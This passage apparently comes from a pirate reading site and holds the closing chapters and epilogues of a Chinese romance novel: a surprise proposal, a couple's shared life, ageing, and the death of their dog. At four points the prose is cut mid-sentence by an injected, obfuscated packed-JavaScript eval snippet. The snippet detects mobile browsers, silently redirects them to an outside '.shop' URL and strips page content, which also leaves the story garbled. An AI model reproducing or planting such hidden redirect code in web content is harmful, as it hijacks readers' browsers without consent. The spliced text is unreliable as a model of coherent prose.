秦离频频回头,黎羽就一直站在原地看着她,直到再也看不见。 但秦离却并不觉得悲伤。她知道,分开只是为了下一次见面,她们还有很多时间。 她开始期待未来。 跨年夜,秦离是在和妈爸看跨年晚会,聊天逗小狗中度过的。结果三个人全部没能熬到十二点,都提前倒在了床上,进入香甜的睡梦中。 2025年的第一天,秦离在未能准点给黎羽发去祝福的懊恼中醒来,急忙打开手机,恰好收到黎羽刚发来的消息。 【抱歉,昨晚没到零点就睡着了,才刚醒。新年快乐呀,小乖,新的一年,希望你进入人生新篇章,写文本本大爆,发大财!】 最真挚美好的祝福! 秦离还没完全清醒,睡眼惺忪,头发也乱糟糟的。 眯着眼看清黎羽发的内容,她扑哧笑了出来。好吧,原来两人都没等到那个时候,真的是岁月不饶人呐。 不过也好,也是一种默契了。 新年第一天,秦离懒洋洋地躺在床上,边追着番,边和黎羽有一搭没一搭聊着天,觉得最幸福的日子也不过如此了。 当然如果此刻黎羽就在她旁边,就更好了。 快临近过年了,各个出版社没有什么新的岗位放出来,能投的秦离也投得差不多了,只能先等待。 她没有负债,手上还有点存款,倒是不着急入职。梦城出版社那边还没有答复,最坏的打算是所有投出的简历都石沉大海,那就等年后了。 这段时间,秦离便静下心看看书、练练琴、写写文,生活一片静好。 如果不考虑钱的问题的话,一直这样过下去似乎也不错。 又过了一周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370281|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多。 最近南城的天气不错,连着好几天阳光明媚,晒在身上也有些暖意。 秦离最近喜欢带着小狗去附近的公园晒太阳,找个舒服的草地坐着看看书、码码字,享受安逸时光。 梦城老师的电话就是这时候打过来的。 看见来电名称的瞬间,秦离便心跳加速,滑键的手都在抖。 “喂,您好……” 听着对面说的话,秦离难以抑制脸上的笑容,嘴角越提越高,声音也变得昂扬:“好的,我下周就来报到,会好好准备的!” “好的好的,谢谢您!” 挂断电话,秦离兴奋地蹦了起来。 太好了!她总算是接到第一根橄榄枝,马上就能踏入她梦寐以求的行业了。 对,先告诉黎羽。 她激动地在原地打圈,点了三次才拨出黎羽的号码。 电话响了很久,是通畅的但是没人接,黎羽可能是在忙。 秦离给她发了消息过去,遗憾不能第一时间亲口告诉她。 快速给妈爸报了这个好消息后,她正准备向关系亲近的朋友们群发消息,突然收到许平平发给她的消息。 【这会有空吗?】 【有空,怎么啦?】 要见面恰饭吗,那可太好了! 果然不出所然,许平平是来约聚会的:【今天天气这么好,来梅林晒太阳喝咖啡呀。】 【来!其她人来吗?】 【都喊了,都没问题。】 【好!刚好我有好消息要告诉你们,嘿嘿,今天我请客!】 【哈哈,好呀,你先来嘛,见面细谈。】 秦离脸颊因兴奋而泛红。她忙去收拾东西,牵小狗走,忽视了许平平难得催促的语气。 今天天气太好了,全南城的人都开车出门,从各种草地上长出来。去梅林的车很多,趁着被堵的时候,秦离把刚刚没发完的消息编辑后广而告之,收到了很多人的祝福。 直到到达目的地,停好车了,她还忙着回消息。 许平平选的是家幽静的小院,外面没怎么停车,就好像大家都没发现这个地方。 一路上许平平都在问她到了没,秦离还纳闷她怎么催得这么急。平时她们几个可是到达时间完全随缘,不到也不催的。 【来了,来了,到门口了!其她人都到了吗?】 这下许平平不回消息了。 怎么奇奇怪怪的。秦离嘀咕着,牵着小狗踏入神秘的小院。 小院前庭是假山景观和许多花花草草,依旧空无一人。 “有人吗?老板?平平?” 没人回应。 秦离又翻开手机看了看,确认自己没跑错地方。 她顺着碎石步道往更深处走,绕过主楼,往后院去。 狭窄的过道,一阵狂风吹来,她不禁眯眼。手上的绳子不小心松了,小狗唰的下跑了出去。 “回来!” 秦离急着往前奔了两步,脚踩到松软的土地上,草木香混合着阳光的味道在鼻间萦绕。 微风徐徐,吹动她的发。 她睁开眼,看见最思念的那个身影,就站在一片青绿的尽头,在柔和的日光下,抱着鲜花,笑脸盈盈地看着她。 152. Chapter 152(正文完) “阿羽——” 秦离以从未有过的速度疯狂奔跑,飞起来般,落入黎羽怀里。 “阿羽,你怎么在这里,什么时候来的,怎么不告诉我呀?” 她像只欢乐的小鸟,叽叽喳喳叫个不停。 黎羽一手搂着她,一手抓着一大束粉红雪山,小心着不让里面的小盒子掉出来。 “这么多问题,想让我先回答哪个?” 今天的黎羽说话格外温柔,极致的幸福让秦离昏了头,只知道搂着黎羽的脖子,埋在她的锁骨上蹭来蹭来,声音嗲得厉害:“不知道~你在就好,比什么都重要。” 她什么都忘了,满心只有紧紧抱着的人。 “怎么傻乎乎的了?”黎羽捏了捏她的脸,松开些距离,摇了摇手上的粉红雪山,“花不想要了?” 秦离眼睛更亮了,明知故问:“给我的花?” 黎羽故意逗她:“不是,是给小狗的。” 在两人脚底打转的小狗很有存在感地叫了两声。 秦离一把将花夺了过来:“不管,就是给我的,你的花只能送给我。” 超霸道。 黎羽自然是由着她。 淡淡的花香扑鼻,秦离眼尖地看见粉色花朵中间的黑色盒子,心跳骤然加速。她看看盒子,又看看黎羽,再看看盒子,连花都差点拿不稳,说话都不顺畅了:“这,这是什么?” 是她想的那样吗? 这次,黎羽没有故弄玄虚。她拿出黑色盒子,往后退了两步,逆着光,从发丝到身体的每一寸都好像闪耀着金色,梦幻迷离。 “小乖。” 迎着秦离迫切的目光,黎羽没有急着打开盒子。 她的脸上闪过丝羞赧,却还是坚持着把话说出来:“我好像总是很少直白地说出对你的感情。十年前,十年后,都是如此。但有些话,现在这个时刻,我不想再藏在心里。” “我们的重逢并不是偶然,而是我蓄谋已久。” “当我挺过最难熬的时候,知道你没有出国,回南城的时候,我无法抑制自己想来找你的心,但那时你已经有了新的人生、新的……归宿。” 秦离完全没有想到。她的心狠狠地揪住了,想上前却被黎羽制止。 “就让我一口气说完吧。以后,以后我还不知道能不能再说出口。” “因此我不敢出现在你面前,也怕听到你的消息,只有在你和朋友来酒吧的时候远远看着。直到……直到那次见面,知道你分手,我卑劣地感到窃喜,觉得是自己的机会。” “但我不确定你的心意,并不确定你……会做出怎样的决定。我害怕强硬直接的表白会遭到你的拒绝,所以,”说到这里,黎羽自嘲地笑了笑,“所以故意离开,故意说不会等你,故意表现出放弃,又故意,让玲嘉将我的状态告诉你,就是想让你主动来找我,让你做那个先开口的人。” 黎羽似乎对自己有过这些想法、做过这些事而自厌,微低头,避开秦离的视线。 秦离确实从未想到之前种种都是黎羽故意为之。但她哪里会介意,只会为黎羽对她的用心而欣喜若狂,目光越来越炽热。 但黎羽的话还未说完,秦离不敢开口打断,生怕惊扰了她难得剖开内心的时刻。 黎羽早已想清楚,并没有沉浸在低沉的情绪中。她将黑盒子捏得更紧了,胸膛起伏着,抬头望向秦离。 “秦离,我爱你。” “这不是被动的回应,而是无论你对我的感情如何,我都无法改变,也不想改变,想对你主动直白说出来的爱。” 她僵硬地站在那里,神情紧张,看着难得有些呆,一点没有平时的帅气洒脱。 黎羽终于打开盒子,里面是海浪和羽毛元素的对戒。 “你愿意再和我在一起,成为我的爱人,我们一起走下去,一直走下去吗?” 从黎羽说出“我爱你”的那刻,秦离的眼泪就止不住地往外涌,到现在已经泪流满面。但即使世界模糊,她也能第一时间找到属于黎羽的像素。 “愿意,我愿意!” 秦离的声音已经糊成一团,伸出手想要拿到属于她的那枚戒指。 黎羽也伸手,想将羽毛那枚戴在她的右手无名指上。 两个人的手都颤抖得厉害,戒指差点掉到地上,手忙脚乱的,好半天,才给彼此戴上。 这时,礼炮声突然响起,空中撒下金色的雨,无数七彩气球向空中飘去。 “恭喜——” 四周突然冒出许多人,许平平、杨颖、裴子霜、李凌菲、陈玲嘉、小智、李清韵、郭平、杨晓瑞,甚至还有小姨崔明秀,橘色老板大头和店里的人。 大家都说着祝福的话,有人还在撒着礼花,崔明秀甚至还红着眼眶给两人递了个厚厚的红包。 所有人都像来参加婚礼似的。 大家都是从哪里冒出来的啊! 秦离惊得都忘记哭了,转过头去看黎羽,发现她也是一脸诧异。 “怎么回事啊?人不是你喊过来的吗?” “我只通过大头联系了你朋友许平平,还有知道我的打算,一定要跟着过来的李凌菲。” 至于其她人…… 黎羽本是想做回主动告白的一方,间接联系许平平是为了请她帮忙,李凌菲也是帮忙出主意的人。结果大概是黎羽这次行动太出人意料,两边都兴奋地拉了更多亲友,一传十,十传百,中间不知道是哪里传话出了错,表白现场传成了求婚现场,两人的朋友们都想法设法赶了过来,阴差阳错。 刚刚众人不好意思听她们说话,都离得特别远,直到两人互相戴上戒指,才欢呼着围了过来。 求婚成功,要开始庆祝了! 秦离和黎羽都想不明白,不过…… 算了,所有人开心就好。 很快,老板带人悄无声息地过来搭起了桌子、椅子、火炉、烧烤架、热锅和各种酒。 自助时刻,大家都不坐在固定位置上,到处跑动着,吃吃喝喝,又端着酒杯在人群里钻来钻去。首先是敬今晚这对新人,接着便互相说着笑着,借着各种名头享受美食美酒。 天色慢慢暗下来,太阳没入深沉的睡眠,月亮含羞冒出了头,洒下洁白的光辉。 但所有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370282|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情绪都依旧高昂,火热的状态丝毫没受影响。 老板早已悄无声息再次出现,打开四周温暖的橘黄色灯光。 许多泡泡在暧昧的光线中飘动着,秦离伸手去接,泡泡在触碰到的瞬间化成了白色烟雾,在空中随夜风飞逝。 不知是谁找了个麦克风出来,连着音响,正弹着尤克里里唱着甜蜜的情歌。 “你是最珍贵的 如果你能幸福 这样就够了 Youaremylady”① 所有人都随着欢快的节奏摇晃着身体。秦离和黎羽坐在角落里,大家已经遗忘她们是今天的主角了,在为自己的快活时刻而肆意放纵着。 两人也不在意。 “没有你我很孤单 像天气一样很冷 不管下雨还是下雪 我的心里只有你”① 秦离慢慢品着一杯红酒,笑着看着眼前美好的一切,跟黎羽介绍着她的每一个朋友和有趣的地方。 黎羽安静听着,侧身看着她。 暖橘色的灯光下,她肌肤的每一寸都无比清晰,也无比可爱,一如往常。 黎羽不自觉靠近,连她的呼吸落在耳里的声音都越来越清晰。 “我为你而活 没有你我无法活下去 还爱着 不够好的我”① 秦离转头,两人四目对视,唇与唇之间仅有三寸距离。两边的呼吸都变得浓烈而急促,混合着二氧化碳的热气被贪婪地吸入肺叶。 她的睫毛微微颤动着,眼睛也缓缓闭上。 那三寸距离很快被缩短。唇与唇的触碰,柔软湿润,从最初小心翼翼的试探,到逐渐强势的进攻,最后只有越来越急切的啃咬。 黎羽将舌探入秦离的口腔,扫过她的齿和每一寸嫩肉,与她的舌交缠着,霸道地攫取她口腔内所有氧气,将所有津液都吞吃下肚。 这样简单的事却让两个人都乐此不疲,直到有津液顺着嘴角流出,仍不舍得分开。 不远处,其她人仍在喧闹着、嬉戏着,欢笑声混成一片。 只有秦离和黎羽在无人在意的角落里,交换着□□,让脉搏和心跳声完全同频。 秦离的睫毛颤动得越来越厉害了,脸颊绯红,嘴里发出小动物般细小微弱的呻/吟。她的舌根发麻,身体发软,手不自觉地抓住黎羽的衣衫,靠在她怀里。 “唔……” 黎羽终于恋恋不舍地放开她。 秦离在黎羽怀里喘着气,打趣她:“以前我怎么没发现,原来你有点闷骚哦。” 她手上还抓着黎羽胸前的衣衫,突然又摸到锁骨下那个圆圆小小的东西。 “这是什么……” 秦离将红线串着的东西从衣下取了出来,发现是一颗已经变得灰暗的菩提。 一颗……她现在已经能认出的假菩提。 “这是我们当时一起买的……” 秦离望向黎羽,在她温柔地快要溺进去的目光里得到了肯定答案。 她的爱,从来都在。 (正文完) 153. 番外一 正式复合的第一天晚上,在秦离的大床上,两人极尽欢愉之事,亲吻着、撕咬着、吮吸着、动作着,汗水和□□浸透了一切,秦离感受着身体的彻底失控,却仍要仰着头,去亲吻黎羽的嘴唇,亲吻她的脸颊、手臂、腹部,她的每一寸肌肤。 黎羽身上的伤疤已经很淡了,淡到除非是亲密距离,不然不太注意得到。她仍然习惯在夏天穿着长袖长裤,只有在秦离面前,才会裸露着一切。 秦离喜欢这份优待。她尤其迷恋亲吻黎羽身上的每一处伤痕,看着她因为自己的触碰而微微颤抖,却仍抑制着痒意,纵容她的行动。 即使分开了十年,她们的身体依旧无比契合,依旧记得对方身体的每一个敏感点。 一周后,秦离收拾了所有行李,跟妈爸告别,带着两个大箱子奔赴梦城。 无需商量,理所应当的,她住进了黎羽家,“登堂入室”。 晚上,秦离缩在黎羽怀里撒娇:“我在梦城以后可就靠你了哦。要是以后我们吵架,你把我赶出家门,我也只能抱着被扔出来的行李流落街头,睡在天桥下面,好可怜哦,呜呜。” 黎羽无语地看着她浮夸的表演,即使知道她是装的,还是认真回答她:“不会的。这里就是你的家,我们的家。” “我当然知道你不会的!” 秦离嘴上哭着,眼睛却是带着笑意,奖励式给了黎羽个香甜的吻。 虽然秦离是开玩笑的,黎羽还是将这件事放在了心上。 她将另一间房收拾出来,把多余的东西都扔掉,告诉秦离:“这是你的房间。” 秦离故意曲解她的意思:“才刚在一起,你看就要跟我分房啊。”她眨眨眼,看着可怜巴巴的。 “你知道我不是这个意思。”看着最近愈发活泼的秦离,黎羽无奈,但语气宠溺,“你当然要和我一起睡。但这是独属于你的房间,你可以按照你的想法来改造装修。如果哪天我们真的吵架了,你生我的气,可以跑到这个房间来,但是不可以离家出走,不管怎么样,都不能抛下家里不回来。” 黎羽的语气很认真,秦离便也收起嬉皮笑脸的样子,认真回应她:“我知道了。那我们约定好,即使有争吵,也不能意气用事。生气的时间再久,每天见面还是要说话,不说话的话,至少也要发消息。” “好。” 后来,秦离在饭厅里放了一块小黑板。两人吵架时,她就将每天要提醒的事写在黑板上,黎羽也在黑板上回应她。 两人正经事写着写着,要表达的情绪和话就越来越多,在黑板上画着小人,说着幼稚的话。等到黑板已经写不下了,两人又面对面继续幼稚的争吵,到后来已经完全偏离了最初吵架的由头。 当天晚上,气呼呼的两人还是会在一张床上,在不知道是谁开始的拥抱和亲吻中慢慢软化,互相说着道歉的话,最后和好如初。 至于那间房,秦离接受了。 但她平时并没有铺床,而是把它改造成了电竞加二次元天堂房,顾名思义,呆在里面的时间就是天堂。 她将床靠墙竖着,加装了豪华配置的电脑,又订做了到天花板的玻璃柜,装上灯带,将过去买的所有手办都摆在里面,还订做了整面书柜,目前放了些漫画,准备在以后日子里慢慢填满。 哦对了,还有她的cos服,假发和零散的装备都放在里面。虽然现在已经不复青春,但偶尔还是可以去漫展玩一玩的,这次一定要拉上黎羽一起,嘻嘻。 秦离有很多很多美好的生活畅想,如果黎羽愿意和她一起,她当然更开心。黎羽不感兴趣的话,她在自己的时间里也可以玩得很快乐。 小狗也被秦离带过来了。在黎羽的投喂和抚摸下,它很快认了这个新主人,甚至因为黎羽经常有时间陪它玩,喂它也喂得多,它现在黏着她的时间比秦离的还多。 哼,贪吃的小狗! 看着明明两人一起回来,摇头晃尾着先跑到黎羽那边的小狗,秦离嫉妒地哼哼着。 这时,黎羽便会笑着给这只哼哼的小狗一个安抚的吻,不厌其烦地落在她的额头、脸颊、鼻尖和嘴唇,直到她满意为止。 秦离的入职大体来说比较顺利。大概是她提前预想了所有可能面临的困难和压力的缘故,正式开始工作后,一切反而没有她想象中那么难。 入职后,她才知道那天面试她的绿发女生也是曾经楚老师带过的后辈,也是她所在团队的leader。 团队里的大家人都很好,虽然很忙,平时也会耐心给她解释最简单的行业常识,平时有什么项目会带她出去多见识实践。办公室里也没有什么勾心斗角的关系,大家的想法都相对比较简单,即使嘴上经常抱怨着,心里依旧抱着对文学对创作的热爱。老板也在尽可能赶上最新潮流,为了能存活下来,什么剧本杀、短剧、漫剧都会去接触,但又不是那么市侩。 这大概也是公司里大家都比较纯粹的愿意吧。脚踏实地的理想主义者,秦离喜欢这种感觉。 除了一些老编辑,秦离的年龄比公司许多同事都要大些,年龄小的人大多也都是她的前辈。 每天要朝比自己年龄比较小的人请教,秦离也不介意。她早就预想好了,自己就是个新人小白,也没什么年长者的架子,该问就问,只要能达成目的就好。 虽然有些工作内容上的磕磕绊绊,但一切的一切,已经是她理想中的工作模样了。 辞职真好,跳槽真好啊。 黎羽的工作是阶段性的,时忙时不忙。闲的那阵子可能可以每天在家晒太阳遛狗,忙的时候可能连续好几天都没法回家,有时候出差也是一连七八天。 但秦离并没有分离的焦虑。她知道黎羽总会回来的,黎羽不在的时候,她便趁机赶紧展开各种社交,抓紧时间和各种朋友聚会恰饭。 至于平时,黎羽在的日子里,她才不舍得将时间分给其她人呢。 两人也约定好了,只要她们都在梦城,只要十点前都能回家,便会带着小狗一起在附近散步, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370283|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不带手机,就两人一狗,在夜色中感受着世界。 她们走遍了方圆三公里的大街小巷,逛过每一家小店,和不同的老板聊过天,走过公园的每一个角落。哪盏灯坏了,哪里种了什么花,哪个大姐每晚固定在那个隐藏的弯道处唱歌,两人都一清二楚。 秦离喜欢这样的日常,期待每天和黎羽一起,细数现实中的每个微小细节。看见的颜色、闻到的味道、听到的声音、触碰到的物品,每一样真实的体验都让她欣喜又期待。 小狗也成为了附近的明星狗。那些等车和路过的小朋友们,总是喊着它的名字,兴高采烈地跑过来,对它又抱又亲,还用零花钱给它买火腿肠。 小狗自然是快乐地饱餐一顿。 秦离有时候开玩笑跟黎羽说:“这附近认识小狗的人可能比认识我们俩的多的多。” 黎羽点头赞同。 但生活的真实也不都是美好。 刚开始的一个月,或许黎羽还想在她面前维持形象,控制着没让她看出来。同居的时间久了,秦离才发现,黎羽其实是个有点懒散,不太注意细节的人。 她的东西总是凑合着挤在一起,能保持原位就保持原位。衣服是常年晒在晾衣架上,需要穿的时候才拿下来的。所有的杂物是不做区分一起放在一个大箱子里,需要的时候才去翻的,翻完又把剩下的继续扔进箱子里。 所以,很多东西她也想不起来到底放在哪里了。 秦离不算是个勤快的人,但在恋人身上,她总是会积极很多,建议着:“我们还是该好好整理下吧,衣服也要该挂挂,该叠叠,分类放好,这样才整洁好看呢。” “啊,但是这样好麻烦。” 时间久了,黎羽在秦离面前也越来越不掩饰了。 秦离无奈,买了许多收纳盒和各类衣架回来,准备自己上手。 她一动,黎羽也不舍得看她一个人辛苦,一脸痛苦地挪动着一起。 这样保持了大概一周多,在某次项目超长加班后,秦离拖着步子回到家里,瘫在沙发上看着挂了好几天衣服的阳台,心想好累啊,算了明天再收吧。 这之后,她再也没按时收过衣服,总是在需要的时候才去阳台上取。 终于结束每日整理的黎羽道:“看吧,我说了,这样真的很方便啊。” 秦离默默同意。 不仅是黎羽不遮掩,秦离慢慢也原形毕露。 她对洗碗的厌恶已经是对黎羽的爱意无法抵消的了。原本两人说好一人做饭,另一人洗碗。但有时候,在黎羽做饭日,秦离也会耍赖撒娇:“阿羽,我好累哦,今天你先洗,下次我帮你补回来,好不好嘛。” 黎羽一开始还会中美人计,又来也免疫了。 “已经欠了五次了哦,这次不行,自己洗,快去!” “呜呜呜——”秦离假哭着,磨蹭着委屈巴巴地洗着,看得黎羽哭笑不得。 最后,还是科技拯救生活,洗碗机结束了每次饭后的拉扯。 154. 番外二 时光荏苒。 来到梦城出版社工作好像还在昨天,转眼间,秦离已经是一名经验丰富的资深编辑,不知不觉带过许多新人了。看着那些刚入行,年龄或大或小的人向往的眼神,她便觉得自己还可以,也有责任做更多。 她的文毫不意外地从没有大爆过,一直不温不火,但每本书都能与一些读者萍水相逢。 秦离也没指望过自己会大火。能写下自己想写的故事,再恰巧被一些有相似情感体验的人看见,打动她们产生共鸣,已经是件无比幸福的事了。 她很庆幸,当初没有走上职业写作这条路。 时光在一家三口身上也留下了越来越多的痕迹。 秦离最开始意识到这点,是发现她脸上开始长斑了,在脸颊的位置,许多浅色的小点,大概是年轻的时候大太阳天不喜欢打伞,被晒出来的。还有多年积攒的红血丝,原来已经这么多了,粉底液在她脸上的效果对比越来越明显。 秦离安慰自己,这是衰老的正常反应,却忍不住在清晨洗漱的时候,凑近镜子看很久。 这天刷完牙,秦离又在看,看着看着突然道:“你说,我要不要去做祛斑去红血丝的手术?” 说这话时,她脑子里突然冒出小时候在电视上看的黄褐斑广告,自己先打了个冷颤。 “啊?”黎羽正边洗脸边刷短视频,闻言抬头,“你需要这个吗?” “很明显啊。”秦离指给她看。 黎羽凑近认真看了半天,突然在她脸颊上留下个薄荷味的吻。 “看完了,很可爱。” 秦离又羞又恼:“我说认真的。” “我也是认真的啊,”黎羽表情无辜,“我真没看出有什么,斑的话,现在不是还挺流行雀斑妆的么,还要专门画呢。至于红血丝,反正我觉得显得你脸红扑扑的,有气色很可爱。不过如果你坚持想做的话,我们可以先去咨询咨询。” 这跟黎羽说的根本不是一回事。 但见她没有反对,秦离反而犹豫了,纠结半天最后道:“算了,就这样吧。” 除了心里偶尔的起伏,好像真的没什么大不了,就当自己化了妆吧。祛斑、去红血丝、光子嫩肤、水光针……这样下去要没完没了了。她还是不开这个头,不然回头花了钱,还搞得更焦虑了。 这之后,每天照镜子的时候,秦离仍会对着镜子仔细看,也会间歇性焦虑下,但不再提做手术的事了。 焦虑也是人生的常态嘛,嘴上说说没什么。 不过,容貌的事还能唯心克服下,身体的毛病是真没招了。 没过几天,在一次出门准备去健身房前,秦离已经换好鞋了,站在门口打了个喷嚏,突然就觉得后腰巨疼,稍微动一下就疼痛难忍。 她扶着腰僵在原地,被硬控了五分钟,还是动弹不得。 黎羽从厨房出来,看见她站在那不动,问道:“还不走吗?晚了赶不上中午回来吃饭了。” 秦离连忙呼救:“阿羽,help!help!我动不了了!” 黎羽连忙扶着她小心翼翼地挪到床上,又赶紧联系楼下诊所的针灸医生。秦离直挺挺地趴在床上,煎熬着。 等医生来的时候,黎羽才了解到发生了什么,扑哧笑出声:“怎么会有人打个喷嚏就把腰闪了啊。” “你还幸灾乐祸!”秦离提出控诉,将红薯上查到的内容给她看,“你看,好多人都是打喷嚏闪的腰,不光是我!” “好好好。”黎羽举双手投降。 医生来的很快,带着一套针,一番动作下,秦离觉得疼痛有所缓解,至少能坐和站起来了。 秦离直呼神医救我命。 “你应该之前腰上就有伤,先做一个疗程的针灸短期缓解,长期的话还是要增强腰腹力量,还有减少点体重基数。” 秦离老实了,痛定思痛,决定等腰一好就重启减肥计划。 黎羽给她找了个过年时晾腊肉的杆子当拐杖,下单了护腰,又搬了个小桌子到床边来吃饭。 秦离看她忙前忙后,眼泪汪汪:“阿羽,还好有你在,不然今天我真的只能打120了。哎,岁月不饶人啊。还好只是短期,以后我可千万不能落到生活不能自理的程度,折腾自己也折腾身边人,太痛苦了。” 这点工作量对黎羽来说不算什么。她捏了捏秦离的脸——这么些年了她还是喜欢这么做,道:“生活不就是你照顾我,我照顾你嘛。而且别担心,以后等着机器人给我们养老。” “哈哈,是哦,希望科技再给力些。” 医生的每次针灸都让秦离肉眼可见好转,让她再次大呼神医救我狗命。不到一个月,她又活蹦乱跳了。 见她如此厉害,晚上睡前,秦离和黎羽商量着:“要不要让她给你也扎一针,治治你的失眠?” 不像秦离有十年如一日的秒睡功力,黎羽的睡眠一直不是很好,这几年更是对声音和光都很敏感。 两人不再每晚都抱着睡了,有时候还会分两床被子,但谁都没提分房的事。 “没那么灵吧,针灸也不是什么都能治啊。” “那要不去开点中药?最近你失眠得有点凶啊,头发都掉得多了。” 两人的话题逐渐转向养生,一个步入中年的人的必聊话题。 黎羽很早以前就不再染发,留回黑发了。现在不比年轻时候,不能瞎折腾。 时代的洪流总是奔得很快,将个人远远抛在后面,谁都不例外。 对于现在流行什么,小年轻在玩什么,两人已经是一脸茫然了。社会的目光也早已投向年轻的新鲜血液,不会在意那些开始衰老的群体在想些什么,做些什么。 黎羽的服装生意也没之前那么火热了,毕竟本来就不是什么有资本有人脉的大公司,对行业最新政策风向和新技术运用也没那么敏感,但还好,还能苟活着。 一切也都没关系,世界再怎么变化,放在个人身上,还是自己过自己的日子,一天又一天,普普通通。 只是时间久了,生老病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370284|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死,总会发生些悲伤的事,不受人力控制。 人类还只是担忧自己的衰老问题,小狗却已经要走到生命的尽头了。 一开始只是反应变得迟钝。两人回家时,小狗不再激动地跑过来又扑又跳,而是等她们鞋都换好了,才慢悠悠地过来晃两圈,象征性迎接下。 平时叫它也是,要叫好几声才听得见,尾巴动动,耳朵动动,才凑过来。 “小狗好像变傻了耶。” “不是变傻了,是老了。” 后来,它牙齿掉的差不多了,也憋不住尿,跳不起来也跑不起来,不怎么吃得下东西,整日昏睡。 两人都知道,它的时间不多了。 她们把更多时间留在家里,陪着小狗,抱抱它。即使大部分时候它已经不想睁开眼了,还是会摇摇尾巴,发出轻微的呼噜声,在秦离手上蹭一蹭。 秦离心中难过,但死亡这件事,没有任何人可以阻止。 终于到了那一天,小狗精神了许多,围着两人打转,还汪汪叫着,就像回到了它小时候,刚到家里来时的活泼样子。 秦离知道这是回光返照,但还是打起精神,笑着陪小狗一起玩。 三天过去,小狗一点点地再次变得萎靡。最后,它躲到了床底下,不想被主人看见。 秦离和黎羽蹲在床边,看它蜷缩着,永远闭上了眼睛。 小狗没有气息了。 秦离抱着它还温热的身体,眼泪止不住地往下流。黎羽搂着她,摸着小狗早已暗淡无光的毛,难过不语。 两人送小狗去火化,将骨灰放在订做的小狗模型里,放在客厅的柜子上。 “这样,它就能一直陪着我们了。” 小狗死后,秦离不想再养狗了。但没有了每日的迎接和陪伴,没有了那些吵闹和闯祸,没有了吃饭时总守在餐桌前的小小身影,屋子里空落落的。 最后,两人去买了一只机器狗。 黎羽本来建议说,要不要给它加载小狗的声音和行为模式,秦离拒绝了。 “小狗就是小狗,它是它,两者不一样的。” 两人依旧每晚散步遛狗,只不过遛的是机器狗。 住在周围的人一开始还看个新奇,慢慢也习惯了,有时候甚至会把它当真狗看待,摸摸它的身体,逗逗它,看它有任何反应都哈哈大笑。 时间长了,秦离对它也有了感情,有时候看它走路不对劲,还担心是不是哪个零件出了问题。 黎羽见了:“希望这家公司活得久一点,售后维修保证好,努努力,它还是能给我俩送终的。” 秦离想想,点头赞同:“也不错啊。” 时间的长河无情地向前流着,不会为任何人停留。 秦离知道,在未来的某一天,她和黎羽之间,总有一个人会先离开。 她偶尔也会恐惧,但抓着身边这个人的手,又多了些勇气。 不管那个时刻什么时候到来,但至少此时此刻,她们爱着彼此,相守相伴。 155. 番外三 年龄越大,黎羽反而越来越小孩子脾气了。 这几天,她正在生闷气,话不多说,饭也不好好吃,就知道抱着个手机戳戳戳。 秦离观察了好久,偷瞄她的手机界面,才终于猜出她生的是个什么气。 前两天,洗漱台下水慢,反臭也厉害。秦离本想请个师傅来修下,黎羽说不用,认为是小问题,坚持要自己修。 对着视频学了半天,她认为应该是水管里堆积了脏东西,打算把水管拆下来,清洗干净再装回去。为此,她还去五金店买了一大堆工具和零件。 见她胸有成竹的样子,秦离一开始还挺相信的,但眼看拆的东西越来越多,地板上摆了一大片,黎羽又汗流浃背的样子,她觉得有点不对劲了。 “要不,我们还是找个师傅?”秦离语气试探着。 “不用,我能搞定的。” 黎羽执拗得不行,还在专心致志研究。 又等了一个多小时,还是没什么进展。秦离见黎羽装了拆,拆了装,逐渐失去耐心,也不想哄人了。 “都大半天了,估计我们搞不定,还是找师傅吧,专业的事交给专业的人干。” “不用,没必要花这个冤枉钱,这个处理起来很简单的。” 简单也没见你很快搞定啊。 秦离嘀咕着,但没说出来,知道黎羽听见这话一定会恼羞成怒。 哎,年龄越大,越看中面子啊。 黎羽也很急,手上动作逐渐粗暴,最后不知道是戳到哪里,水管爆了,喷了两人一身水。 秦离猝不及防,全身上下都湿透了。 